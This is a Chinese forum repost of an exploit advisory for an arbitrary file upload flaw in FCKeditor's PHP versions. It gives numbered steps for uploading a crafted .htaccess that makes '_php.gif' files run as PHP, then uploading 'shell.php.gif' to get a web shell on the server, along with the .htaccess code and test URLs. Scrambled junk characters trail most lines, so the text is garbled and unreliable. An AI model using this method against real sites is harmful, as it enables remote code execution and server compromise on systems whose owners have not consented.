FCKeditor所有php版本Upload上传漏洞6 ]' W3 x) G3 L- D ]
作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07" ]! y2 U- x4 w+ {+ H# D
减小字体 增大字体
8 A% Z+ ~" Y! g$ [; m2 j[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability& ~& V" M5 ^( F4 k. b
[+] Date: 2011
/ v2 e& q; n4 t8 Z- h8 G[+] Author : sinesafe.cn, ]: p3 Y1 M, ^$ k; G: k
[+] Website : WwW.sinesafe.cn6 |7 i' ~+ E* G$ y
———————————————————+ F9 u4 G: r/ P2 s! @6 h
1.create a htaccess file:
" b: Y+ X w3 O7 b$ D7 y$ Q! Tcode:
! v( Z' u; \4 ~* i9 z9 q: b7 X<FilesMatch “_php.gif”>
: K' d6 h$ Y% v' @3 A, y. dSetHandler application/x-httpd-php0 d- v5 Z3 ?& f, i9 r
</FilesMatch>
/ x1 O+ ^5 |7 r, L+ |: `- a8 n; B3 G% Q; t$ F
2.Now upload this htaccess with FCKeditor.
2 I. c# N7 y6 T, f* o5 A, T& V
9 p$ O' V/ K: _- ], ~4 |' Ihttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html2 m. A% D- K# p1 y
8 d0 u; {: I9 U _4 l# a. Qhttp://www.sinesafe.cn/FCKeditor ... onnectors/test.html
* h1 y* W. P8 G; b( }$ ` [. T
5 D5 a6 P$ j f# \" ]; O3 Q4 y& i———————————————————————————————-" f# m: Z) y2 y9 A" L% T+ K
3.Now upload shell.php.gif with FCKeditor.& O0 V; z& j2 [. F |4 @
4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.% `+ V+ J- C- ]" |& d
5.http://www.sinesafe.cn/anything/shell_php.gif
: P7 C; @ p g+ {6.Now shell is available from server. |
L. `: a8 `. I' j! B9 Q
! i. u) ]3 z( X+ [8 u7 L! h; J
, ~7 X9 z: X1 G* E @$ p |
发表于 2013-10-27 17:25:21
收藏
支持
反对